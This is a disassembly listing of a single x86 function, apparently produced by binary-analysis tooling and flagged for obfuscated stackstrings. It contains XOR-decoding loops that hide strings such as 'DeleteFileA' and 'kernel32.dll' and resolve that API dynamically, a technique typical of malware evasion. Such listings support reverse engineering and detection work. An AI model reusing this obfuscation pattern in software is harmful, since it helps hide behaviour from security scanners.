Function at 0x4156f6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x44d6e1
call fcn.0044d3f0
sub esp, 0x328
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x7c], ecx
xor ebx, ebx
mov dword [ebp - 0x98], ebx
and dword [ebp - 4], ebx
lea esi, [ecx + 0xac]
push esi
call fcn.0040b94f
test al, al
je 0x4157df
mov dword [ebp - 0x1c], esi
cmp dword [esi + 0x14], 0xf
jbe 0x41573c
mov eax, dword [esi]
mov dword [ebp - 0x1c], eax
mov dl, 0x53
mov dword [ebp - 0x6a], 0x3f361753
mov dword [ebp - 0x66], 0x15362736
mov dword [ebp - 0x62], 0x12363f3a
mov byte [ebp - 0x5e], 0
lea edi, [ebp - 0x6a]
xor ecx, ecx
mov dword [ebp - 0x9c], ecx
cmp ecx, 0xb
jae 0x41577d
mov al, byte [edi + ecx + 1]
xor al, dl
mov byte [edi + ecx + 1], al
inc ecx
mov dword [ebp - 0x9c], ecx
mov dl, byte [ebp - 0x6a]
jmp 0x415762
mov byte [ebp - 0x5e], 0
mov dl, 0x26
mov dword [ebp - 0x4e], 0x54436d26
mov dword [ebp - 0x4a], 0x154a4348
mov dword [ebp - 0x46], 0x4a420814
mov word [ebp - 0x42], 0x4a
xor ecx, ecx
mov dword [ebp - 0xa0], ecx
push 0xc
pop edi
lea eax, [ebp - 0x4e]
cmp ecx, edi
jae 0x4157c9
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x4e]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0xa0], ecx
mov dl, byte [ebp - 0x4e]
jmp 0x4157a9
mov byte [ebp - 0x41], 0
push dword [ebp - 0x1c]
lea edx, [ebp - 0x69]
lea ecx, [ebp - 0x4d]
call fcn.0040af96
call eax
jmp 0x4157e2
push 0xc
pop edi
push esi
push dword [ebp + 8]
call fcn.0040b8bb
lea eax, [ebp - 0x11]
push eax
push esi
lea ecx, [ebp - 0x154]
call fcn.0041186f
cmp byte [ebp - 0x11], 0
je 0x41588f
mov dl, 0x5c
mov dword [ebp - 0x8a], 0x392e3f5c
mov dword [ebp - 0x86], 0x3283538
mov dword [ebp - 0x82], 0x382e3d3f
mov word [ebp - 0x7e], 0x2f
lea esi, [ebp - 0x8a]
xor ecx, ecx
mov dword [ebp - 0xa4], ecx
cmp ecx, edi
jae 0x415856
mov al, byte [ecx + esi + 1]
xor al, dl
mov byte [ecx + esi + 1], al
inc ecx
mov dword [ebp - 0xa4], ecx
mov dl, byte [ebp - 0x8a]
jmp 0x415839
mov byte [ebp - 0x7d], 0
lea eax, [ebp - 0x89]
push eax
lea ecx, [ebp - 0x16c]
call fcn.0040fb41
or ebx, 1
mov dword [ebp - 0x98], ebx
lea eax, [ebp - 0x16c]
push eax
lea ecx, [ebp - 0x154]
call fcn.004118f1
test al, al
mov byte [ebp - 0x11], 1
jne 0x415893
mov byte [ebp - 0x11], 0
test bl, 1
je 0x4158ac
and ebx, 0xfffffffe
mov dword [ebp - 0x98], ebx
lea ecx, [ebp - 0x16c]
call fcn.0040fa99
cmp byte [ebp - 0x11], 0
je 0x415e2d
push 0x40835c
lea ecx, [ebp - 0xdc]
call fcn.0040fb41
push 1
push dword [ebp + 8]
lea eax, [ebp - 0x10c]
push eax
mov ebx, dword [ebp - 0x7c]
mov ecx, ebx
call fcn.00413f2f
mov eax, dword [ebx + 0x11c]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x118]
sub eax, dword [ebp - 0x11c]
cdq
idiv edi
mov edi, eax
cmp edi, 0x10000
jne 0x415924
lea ecx, [ebp - 0x10c]
call fcn.0040fa99
lea ecx, [ebp - 0xdc]
call fcn.0040fa99
lea ecx, [ebp - 0x154]
call fcn.00414b19
jmp 0x415e3c
xor esi, esi
mov dword [ebp - 0xc0], esi
cmp esi, edi
jge 0x415d22
push 4
push esi
lea eax, [ebp - 0xf4]
push eax
lea ecx, [ebp - 0x154]
call fcn.00411b68
cmp dword [eax + 0x14], 0xf
jbe 0x415951
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x94]
push eax
call fcn.00411cc0
lea ecx, [ebp - 0xf4]
call fcn.0040fa99
mov edx, 0x40835c
lea ecx, [ebp - 0x94]
call fcn.0040ff4b
test al, al
jne 0x415d11
mov dl, 0x65
mov dword [ebp - 0x24], 0x8042b65
mov dword [ebp - 0x20], 0x455f00
xor ecx, ecx
mov dword [ebp - 0xa8], ecx
cmp ecx, 6
jae 0x4159b4
mov al, byte [ebp + ecx - 0x23]
xor al, dl
mov byte [ebp + ecx - 0x23], al
inc ecx
mov dword [ebp - 0xa8], ecx
mov dl, byte [ebp - 0x24]
jmp 0x415999
mov byte [ebp - 0x1d], 0
push 0x4083b0
push 1
push esi
lea eax, [ebp - 0x1b4]
push eax
lea ecx, [ebp - 0x154]
call fcn.00411b68
push eax
lea edx, [ebp - 0x23]
lea ecx, [ebp - 0x19c]
call fcn.00410015
mov edx, eax
lea ecx, [ebp - 0x184]
call fcn.0040fd46
push eax
lea ecx, [ebp - 0xdc]
call fcn.0040fa32
lea ecx, [ebp - 0x184]
call fcn.0040fa99
lea ecx, [ebp - 0x19c]
call fcn.0040fa99
lea ecx, [ebp - 0x1b4]
call fcn.0040fa99
mov dl, 0x3c
mov dword [ebp - 0x35], 0x5253713c
mov dword [ebp - 0x31], 0x1c065448
mov byte [ebp - 0x2d], 0
xor ecx, ecx
mov dword [ebp - 0xac], ecx
cmp ecx, 7
jae 0x415a52
mov al, byte [ebp + ecx - 0x34]
xor al, dl
mov byte [ebp + ecx - 0x34], al
inc ecx
mov dword [ebp - 0xac], ecx
mov dl, byte [ebp - 0x35]
jmp 0x415a37
mov byte [ebp - 0x2d], 0
push 0x4083b0
push 2
push esi
lea eax, [ebp - 0x1fc]
push eax
lea ecx, [ebp - 0x154]
call fcn.00411b68
push eax
lea edx, [ebp - 0x34]
lea ecx, [ebp - 0x1e4]
call fcn.00410015
mov edx, eax
lea ecx, [ebp - 0x1cc]
call fcn.0040fd46
push eax
lea ecx, [ebp - 0xdc]
call fcn.0040fa32
lea ecx, [ebp - 0x1cc]
call fcn.0040fa99
lea ecx, [ebp - 0x1e4]
call fcn.0040fa99
lea ecx, [ebp - 0x1fc]
call fcn.0040fa99
mov dl, 0x37
mov dword [ebp - 0x2c], 0x56526e37
mov dword [ebp - 0x28], 0x170d45
xor ecx, ecx
mov dword [ebp - 0xb0], ecx
cmp ecx, 6
jae 0x415aec
mov al, byte [ebp + ecx - 0x2b]
xor al, dl
mov byte [ebp + ecx - 0x2b], al
inc ecx
mov dword [ebp - 0xb0], ecx
mov dl, byte [ebp - 0x2c]
jmp 0x415ad1
mov byte [ebp - 0x25], 0
push 0x4083b0
push 3
push esi
lea eax, [ebp - 0x22c]
push eax
lea ecx, [ebp - 0x154]
call fcn.00411b68
push eax
lea edx, [ebp - 0x2b]
lea ecx, [ebp - 0x2a4]
call fcn.00410015
mov edx, eax
lea ecx, [ebp - 0x214]
call fcn.0040fd46
push eax
lea ecx, [ebp - 0xdc]
call fcn.0040fa32
lea ecx, [ebp - 0x214]
call fcn.0040fa99
lea ecx, [ebp - 0x2a4]
call fcn.0040fa99
lea ecx, [ebp - 0x22c]
call fcn.0040fa99
mov dl, 0x22
mov dword [ebp - 0x5d], 0x50436122
mov dword [ebp - 0x59], 0x574c0246
mov dword [ebp - 0x55], 0x5047404f
mov word [ebp - 0x51], 0x218
mov byte [ebp - 0x4f], 0
xor ecx, ecx
mov dword [ebp - 0xb4], ecx
cmp ecx, 0xd
jae 0x415b97
mov al, byte [ebp + ecx - 0x5c]
xor al, dl
mov byte [ebp + ecx - 0x5c], al
inc ecx
mov dword [ebp - 0xb4], ecx
mov dl, byte [ebp - 0x5d]
jmp 0x415b7c
mov byte [ebp - 0x4f], 0
push 0x4083b0
lea eax, [ebp - 0x94]
push eax
lea edx, [ebp - 0x5c]
lea ecx, [ebp - 0x25c]
call fcn.00427fce
mov edx, eax
lea ecx, [ebp - 0x244]
call fcn.0040fd46
push eax
lea ecx, [ebp - 0xdc]
call fcn.0040fa32
lea ecx, [ebp - 0x244]
call fcn.0040fa99
lea ecx, [ebp - 0x25c]
call fcn.0040fa99
mov dl, 0x18
mov dword [ebp - 0x1c], 0x4e4e5b18
mov word [ebp - 0x18], 0x3822
mov byte [ebp - 0x16], 0
xor ecx, ecx
mov dword [ebp - 0xb8], ecx
cmp ecx, 5
jae 0x415c1a
mov al, byte [ebp + ecx - 0x1b]
xor al, dl
mov byte [ebp + ecx - 0x1b], al
inc ecx
mov dword [ebp - 0xb8], ecx
mov dl, byte [ebp - 0x1c]
jmp 0x415bff
mov byte [ebp - 0x16], 0
push 0x4083b0
push 9
push esi
lea eax, [ebp - 0x334]
push eax
lea ecx, [ebp - 0x154]
call fcn.00411b68
push eax
lea edx, [ebp - 0x1b]
lea ecx, [ebp - 0x28c]
call fcn.00410015
mov edx, eax
lea ecx, [ebp - 0x274]
call fcn.0040fd46
push eax
lea ecx, [ebp - 0xdc]
call fcn.0040fa32
lea ecx, [ebp - 0x274]
call fcn.0040fa99
lea ecx, [ebp - 0x28c]
call fcn.0040fa99
lea ecx, [ebp - 0x334]
call fcn.0040fa99
mov dl, 0x59
mov dword [ebp - 0x40], 0x362b1b59
mov dword [ebp - 0x3c], 0x2b3c2a2e
mov word [ebp - 0x38], 0x7963
mov byte [ebp - 0x36], 0
xor ecx, ecx
mov dword [ebp - 0xbc], ecx
cmp ecx, 9
jae 0x415cbe
mov al, byte [ebp + ecx - 0x3f]
xor al, dl
mov byte [ebp + ecx - 0x3f], al
inc ecx
mov dword [ebp - 0xbc], ecx
mov dl, byte [ebp - 0x40]
jmp 0x415ca3
mov byte [ebp - 0x36], 0
push 0x40848c
lea eax, [ebp - 0x10c]
push eax
lea edx, [ebp - 0x3f]
lea ecx, [ebp - 0x2d4]
call fcn.00427fce
mov edx, eax
lea ecx, [ebp - 0x2bc]
call fcn.0040fd46
push eax
lea ecx, [ebp - 0xdc]
call fcn.0040fa32
lea ecx, [ebp - 0x2bc]
call fcn.0040fa99
lea ecx, [ebp - 0x2d4]
call fcn.0040fa99
inc dword [ebx + 0x11c]
lea ecx, [ebp - 0x94]
call fcn.0040fa99
inc esi
jmp 0x415926
mov edx, 0x40835c
lea ecx, [ebp - 0xdc]
call fcn.0040ff4b
test al, al
jne 0x415e17
lea eax, [ebp - 0xdc]
push eax
lea ecx, [ebx + 0x94]
call fcn.0040fa32
mov dl, 0x32
mov dword [ebp - 0x77], 0x12081232
mov dword [ebp - 0x73], 0x5c475d71
mov dword [ebp - 0x6f], 0x120f1246
mov byte [ebp - 0x6b], 0
lea esi, [ebp - 0x77]
xor ecx, ecx
mov dword [ebp - 0xc4], ecx
cmp ecx, 0xb
jae 0x415d8d
mov al, byte [esi + ecx + 1]
xor al, dl
mov byte [esi + ecx + 1], al
inc ecx
mov dword [ebp - 0xc4], ecx
mov dl, byte [ebp - 0x77]
jmp 0x415d72
mov byte [ebp - 0x6b], 0
mov edx, dword [ebx + 0x11c]
sub edx, dword [ebp - 0x7c]
lea ecx, [ebp - 0x31c]
call fcn.0040b102
mov esi, eax
lea eax, [ebp - 0x76]
push eax
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x304]
call fcn.0040fcf9
push esi
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0xf4]
call fcn.00410566
push 0x4083b0
lea edx, [ebp - 0xf4]
lea ecx, [ebp - 0x2ec]
call fcn.0040fd46
push eax
lea ecx, [ebx + 0xdc]
call fcn.0040fa32
lea ecx, [ebp - 0x2ec]
call fcn.0040fa99
lea ecx, [ebp - 0xf4]
call fcn.0040fa99
lea ecx, [ebp - 0x304]
call fcn.0040fa99
lea ecx, [ebp - 0x31c]
call fcn.0040fa99
lea ecx, [ebp - 0x10c]
call fcn.0040fa99
lea ecx, [ebp - 0xdc]
call fcn.0040fa99
lea ecx, [ebp - 0x154]
call fcn.00414b19
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4